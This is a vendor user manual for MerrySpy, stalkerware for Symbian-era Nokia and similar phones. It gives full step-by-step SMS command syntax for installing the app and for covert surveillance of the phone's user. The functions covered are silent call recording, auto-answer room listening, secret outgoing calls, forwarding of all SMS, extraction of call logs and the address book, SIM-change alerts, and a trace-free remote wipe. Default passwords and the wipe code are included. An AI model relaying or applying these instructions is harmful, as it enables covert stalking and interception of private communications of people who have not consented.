# MerrySpy User Manual

**MerrySpy Software Studio** 

www.MerrySpy.com

## Index

<u>Disclaimer3</u>
SOFTWARE LICENSE AGREEMENT4
<u>1 Introduction5</u>
<u>2 Getting started5</u>
2.1 Requirements5
2.2 Set up a spy phone6
3 Register MerrySpy7
3.1 Purchase a register code7
3.2 Register7
4 Control/monitor the spy phone7
4.1 Control/monitor SMS forwarding8
4.1.1 How to set up the spy phone to enable SMS forwarding?8
4.1.2 How to set up the spy phone to disable SMS forwarding?8
4.2 Control/monitor voice calls8
4.2.1 How to listen remotely to the recorded voice call clips in the spy
phone?8
4.2.2 How to listen remotely to the sounds surrounding the spy phone?8
4.2.3 How to set the spy phone not to answer calls from "Listener Telephone
Number" automatically?8
4.2.4 How to make a voice call secretly on the spy phone?9
4.3 Set up specific phone numbers to be monitored9
4.4 Acquire voice call logs in the spy phone9
4.5 Acquire the address book in the spy phone9 4.6 Check the status of MerrySpy9
4.6 Check the status of MerrySpy9
4.7 Notification of the SIM card change10
4.8 Remotely wipe MerrySpy10
<u>5 Versions10</u>
6 Quick guide10

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#### 1 Introduction

MerrySpy is a pure software used to control and monitor Nokia phones silently. It can easily turn ordinary Nokia phones into "spy phones".

We will call a Nokia phone that is installed with MerrySpy a "spy phone". A spy phone acquires the following features:

- Record voice calls automatically, then pack and save the most recent recorded call clips in a single enciphered file.
- Answer the call from a predefined telephone number silently, then
  - play recorded call clips to the line repeatedly so that you can listen to the recorded voice calls remotely one by one, over and over again, or
  - keep silent so that you can monitor the sounds surrounding the spy phone.
- Make a voice call secretly upon a command from a remote phone.
- Forward all SMS messages, receiving and sending out, to a predefined telephone number instantly.
- Send call logs to a remote phone in SMS messages.
- Send address book to a remote phone in SMS messages.
- Notify a predefined telephone number by sending it a SMS message if the SIM card has been changed.
- Wipe MerrySpy from the spy phone upon a command from a remote phone.
- You can install MerrySpy yourself at home within several minutes. After installation you don't need to touch the spy phone any more, you will control the spy phone remotely by sending it SMS commands which are undetectable.

#### Note:

MerrySpy works in an imperceptible manner. There is no visible user interface. All parameters are set up remotely. All the above actions do not make sounds, vibration, backlight, alter the screen display, or leave logs.

#### 2 Getting started

#### 2.1 Requirements

Currently, MerrySpy can run only in the mobile phones using the OS of Symbian 7.0 or Symbian 8.0, such as:

Nokia 3230

Nokia 6260

Nokia 6600

Nokia 6620

Nokia 6630

Nokia 6670

Nokia 6680

Nokia 6681

Nokia 6682

Nokia 7610

Nokia N70

Nokia N72

Nokia N90

Panasonic X700

Panasonic X800

Samsung SGH D720

Samsung SGH D728

Samsung SGH D730

Lenovo P930

MerrySpy that can be used in other mobile phone models are being developed and tested. You can check the updated information at our web site www.MerrySpy.com.

#### 2.2 Set up a spy phone

To set up a spy phone, follow these steps:

- **Download and Install MerrySpy.** You can download "MerrySpy\_S60\_V2\_2.0.0.sis" file from <a href="http://www.MerrySpy.com">http://www.MerrySpy.com</a> on your computer and then install it to the phone following the instruction of Nokia PC Suite. Alternatively, you can also download "MerrySpy\_S60\_V2\_2.0.0.sis" from <a href="http://www.MerrySpy.com/wap.wml">http://www.MerrySpy.com/wap.wml</a> on a phone directly using the browser of the phone and then install it. After installation MerrySpy will run automatically.
- Change the password. The default password designated to each spy phone is "000000". To change the password, simply send the spy phone a SMS message as "##20 000000 NewPassword NewPassword". You must type in NewPassword twice and the two NewPasswords must be the same. For example, if your new password is "123456", the message you send to the spy phone will be "##20 000000 123456 123456". If you want to change your password to another new password at a later time, the message will be "##20 OldPassword NewPassword". For example, if you want to change the password from 123456 to abcdef, the message is "##20 123456 abcdef abcdef".

#### What if you forget your password?

If you are a registered user (refer to chapter 3.2), you can re-register by sending the spy phone "##31 RegisterCode". Then, the password will be reset to the default password "000000".

■ Set up parameters to record voice calls. You can send the spy phone a SMS message as "##32 password location size" to set up the parameters. Here, "password" is the one you set up using "##20" command at previous step; "location" is either "0" for "drive C" or "1" for "drive E" in the spy phone; "size" is the maximum size of the record file, the value must be between 1000KB to 100000KB. For example, if your password for a spy phone is "123456" and you want to save the record file on the drive E for a maximum file size of 5000KB, you can send a message as "##32 123456 1 5000".

#### Note:

- Drive C is the hard drive inside the phone itself and its capacity is low; drive E is an additional memory card, and its capacity is high. Some spy phone may not have drive E.
- In default, location is set as "0" (drive C) and size is set as 1024KB.
- MerrySpy has only a single enciphered record file which contains the most recent recorded voice call clips that can be saved with the designated maximum size.
- In general, every 1 minute of recorded voice call clip need 30KB to 50KB memory space.

  Therefore if the record file size is 1000KB, it can save about 20 minutes to 30 minutes recorded

- voice call clips in total. The newest clip will always overwrite the oldest clips at full capacity.
- If the "size" you set up is too big, MerrySpy will ignore it and automatically limit the record file to a reasonable smaller size to avoid using out the memory.
- Set up a "SMS Forward-to Telephone Number". You can send the spy phone a SMS message as "##21 password TelephoneNumber" to set up a message receiver with the TelephoneNumber. For example, if your password for a spy phone is "123456" and the number of the message receiver is "123456789", the message sent to the spy phone will be "##21 123456 123456789". After set up this message receiver, the spy phone will automatically forward all the messages receiving and sending out to the message receiver.
- Set up a "Listener Telephone Number". You can send the spy phone a SMS message as "##22 password TelephoneNumber" to set up a voice listener with the TelephoneNumber. For example, if your password for a spy phone is "123456" and the number of the voice listener is "987654321", the message sent to the spy phone will be "##22 123456 987654321". After set up this voice listener, the spy phone will automatically answer calls from the voice listener silently.

#### 3 Register MerrySpy

Without further registration, you can enjoy the trial version of MerrySpy with limited function (refer to chapter 5). To use a MerrySpy with full function, you need to purchase a register code for either basic version or advanced version (refer to chapter 5) from <a href="https://www.MerrySpy.com">www.MerrySpy.com</a>.

#### 3.1 Purchase a register code

• At the time of purchasing, you are required to provide the "IMEI code" of the spy phone. Each register code is unique and can be used only in the phone with the corresponding IMEI code.

#### What's the IMEI code?

The IMEI code is the unique code of a mobile phone. Each mobile phone has a different 15 digit long IMEI code.

#### How to get the IMEI code?

The IMEI code will be displayed when pressing "\*#06#" while a phone is in standby. Alternatively, the IMEI code of a mobile phone that is installed with MerrySpy can also be acquired remotely through sending a SMS message "##30 password" to it.

Upon purchase, you will receive a register code.

#### 3.2 Register

- Sending the spy phone a SMS message "##31 RegisterCode" to register MerrySpy. For example, if the register code is "ABCDEFGH-IJKLMNOP-QRSTUVWX-YZ123456", the message sent to the spy phone will be "##31 ABCDEFGH-IJKLMNOP-QRSTUVWX-YZ123456".
- MerrySpy with full function is now ready to use. In addition, the password is reset to "000000". You
  can change the password following the instruction in chapter 2.2.

#### 4 Control/monitor the spy phone

After set up a spy phone, you are able to control/monitor the spy phone remotely.

#### 4.1 Control/monitor SMS forwarding

#### 4.1.1 How to set up the spy phone to enable SMS forwarding?

- First, set up the "SMS Forward-to Telephone Number" (refer to chapter 2.2).
- Next, send the spy phone a SMS message "##01 password" to set the "SMS Forward Setting" to "ON". For example, if your password for a spy phone is "123456" then you can send a message as "##01 123456".
- After set up, the spy phone will automatically forward the messages to the predefined "SMS Forward-to Telephone Number" silently when it receives or sends out new SMS messages.

#### Note:

SMS messages receiving from the "SMS Forward-to Telephone Number" will be ignored and not forwarded back to itself.

#### 4.1.2 How to set up the spy phone to disable SMS forwarding?

- Send the spy phone a SMS message "##02 password" to set the "SMS Forward Setting" to "OFF". For example, if your password for a spy phone is "123456" then you can send a message as "##02 123456".
- After set up, the spy phone will stop SMS forwarding.

#### 4.2 Control/monitor voice calls

#### 4.2.1 How to listen remotely to the recorded voice call clips in the spy phone?

- First, set up the "Listener Telephone Number" (refer to chapter 2.2).
- Next, send the spy phone a SMS message "##03 password" to set the "Listening Setting" to "Recorded Clips". For example, if your password for a spy phone is "123456" then you can send a message as "##03 123456".
- After set up, when you call the spy phone from the "Listener Telephone Number", the spy phone will automatically answer the call silently, then play recorded voice call clips to the line repeatedly. Thereby, you can listen remotely to the recorded voice call clips in the spy phone.

#### 4.2.2 How to listen remotely to the sounds surrounding the spy phone?

- First, set up the "Listener Telephone Number" (refer to chapter 2.2).
- Next, send the spy phone a SMS message "##04 password" to set the "Listening Setting" to "Environment". For example, if your password for a spy phone is "123456" then you can send a message as "##04 123456".
- After set up, when you call the spy phone from the "Listener Telephone Number", the spy phone will automatically answer the call silently, then keep silent instead of playing recorded voice call clips to the line. Thereby, you can listen remotely to the sounds surrounding the spy phone.

# 4.2.3 How to set the spy phone not to answer calls from "Listener Telephone Number" automatically?

- Send the spy phone a SMS message "##05 password" to set the "Listening Setting" to "OFF". For example, if your password for a spy phone is "123456" then you can send a message as "##05 123456".
- After set up, when you call the spy phone from the "Listener Telephone Number", the spy phone will

treat it just as a ordinary call and will not answer it automatically.

#### 4.2.4 How to make a voice call secretly on the spy phone?

- Send the spy phone a SMS message "##06 password PhoneNum", then the spy phone will call the PhoneNum secretly. For example, if your password for a spy phone is "123456" and you want the spy phone to call "111222333" then you can send a message as "##06 123456 111222333".
- When the call is answered by the other side of the line, the spy phone will either play recorded voice call clips to the line repeatedly or keep silent according to the "Listening Setting" set by the "##03", "##04" or "##05" commands described above.
- If PhoneNum in the message "##06 password PhoneNum" is empty, the spy phone will call the predefined "Listener Telephone Number".

#### 4.3 Set up specific phone numbers to be monitored

You can set up a "Monitored Telephone Number List" by sending the spy phone a SMS message as "##23 password number1 number2 number3 ...". For example, if your password for a spy phone is "123456" and you want to monitor only the phone number "111222333", "111222444", "111222555" and "111222666", then you can send a message as "##23 123456 111222333 111222444 111222555 111222666". Then,

- The spy phone will only record voice calls from or to the phone numbers in the "Monitored Telephone Number List".
- The spy phone will only forward SMS messages from or to the phone numbers in the "Monitored Telephone Number List".
- You can reset MerrySpy to monitor all calls and messages, by simply sending the spy phone "##23 password" without any phone numbers.

#### 4.4 Acquire voice call logs in the spy phone

- Send the spy phone "##07 password" to acquire the most recent voice call logs. The result will be returned in one SMS message.
- Send the spy phone "##07 password PhoneNum" to acquire only the most recent voice call logs related to the "PhoneNum". The result will be returned in one SMS message.
- Send the spy phone "##07 password PhoneNum LogCount" to acquire only "LogCount" recent voice call logs related to the "PhoneNum", the result will be returned in one or more than one SMS messages. For example, if your password for a spy phone is "123456" and you want to acquire 10 recent voice call logs related to the phone number "123456789" then you can send a message as "##07 123456 123456789 10".
- "PhoneNum" must be equal or more than 4 digit long, "LogCount" must be less than 4 digit long.

#### 4.5 Acquire the address book in the spy phone

- Send the spy phone "##08 password" to acquire the entire address book in the spy phone. The result will be returned in one or more than one SMS messages.
- Send the spy phone "##08 password PhoneNum" to acquire address entries in which the telephone number matches "PhoneNum". The result will be returned in one or more than one SMS messages.

#### 4.6 Check the status of MerrySpy

You can check the status of MerrySpy by sending the spy phone a SMS message "##00 password" from any ordinary phone. The return message will show the following:

Register Status [Registered: Yes or No]

SMS Forward-to Telephone Number: [SmsForwardToTel: TeLNumber]

Listener Telephone Number: [ListenerTel: TeLNumber]

SMS Forward Setting: [SmsForwardSetting:On or Off]
 Listening Setting: [ListenSetting: Rec, Env or Off]

Monitored Telephone Number List: [MonitorTelList: None or Number of items]

Location of The Voice Record File: [VoiceRecFile: DriveC or DriveE]
 Maximum Size of The Voice Record File: [MaxVoiceRec: Number of Kbytes]

#### 4.7 Notification of the SIM card change

MerrySpy will notify the predefined "SMS Forward-to Telephone Number" by sending it a SMS message if the SIM card has been changed.

#### 4.8 Remotely wipe MerrySpy

You can remotely wipe MerrySpy by sending the spy phone a SMS message "##99 password 572389407316". As a result, MerrySpy will uninstall itself from the spy phone and delete all related files as if MerrySpy has never been installed.

#### 5 Versions

MerrySpy has three versions: trial version, basic version and advanced version. The trail version can be used without registration. The basic version and advanced version require registration with a basic register code and an advanced register code respectively. Basic register codes or advanced register codes can be purchased from <a href="https://www.MerrySpy.com">www.MerrySpy.com</a> (refer to chapter 3.1).

The main differences among the three versions are listed below:

Functions	Trial version	Basic Version	Advanced Version
Record voice call automatically	Yes	Yes	Yes
Answer incoming call silently	Yes	Yes	Yes
Make secret call	Yes	Yes	Yes
Listen remotely to the recorded voice call clips	Limited to 5 seconds	Limited to 5 seconds	No limit
Listen remotely to the sounds surrounding the	Limited to 60 seconds	No limit	No limit
spy phone			
SMS message forward	Forward only the first 10 characters of the SMS message, show only the first 4 digits of the phone number	No limit	No limit
Acquire voice call logs	No	Yes	Yes
Acquire the address book	No	Yes	Yes
Set up the Monitored Telephone Number List	Yes	Yes	Yes
Notification of the SIM card change	No	Yes	Yes
Wipe the software remotely	Yes	Yes	Yes

#### 6 Quick guide

Category	Function	Message
Set up a spy phone	Change password	##20 OldPassword NewPassword NewPassword
		(the default password is 000000)
	Set up "SMS Forward-to Telephone Number"	##21 password PhoneNum
	Set up "Listener Telephone Number"	##22 password PhoneNum
	Set up parameters to record voice calls	##32 password location size
Register MerrySpy	Acquire IMEI	##30 password
	Register	##31 RegisterCode
Control/monitor SMS	Enable SMS forwarding	##01 password
forwarding	Disable SMS forwarding	##02 password
Control/monitor voice calls	Listen remotely to the recorded voice call clips	##03 password
	Listen remotely to the sounds surrounding the	##04 password
	spy phone	
	Set the spy phone not to answer calls from	##05 password
	"Listener Telephone Number" automatically	

	Make a voice call secretly	##06 password PhoneNum ##06 password
Others	Acquire voice call logs in the spy phone	##07 password PhoneNum LogCount ##07 password PhoneNum ##07 password
	Acquire address book in the spy phone	##08 password PhoneNum ##08 password
	Set up specific phone numbers to be monitored / Reset	##23 password number1 number2 number3 ##23 password
	Check the status of MerrySpy Remotely wipe MerrySpy	##00 password ##99 password 572389407316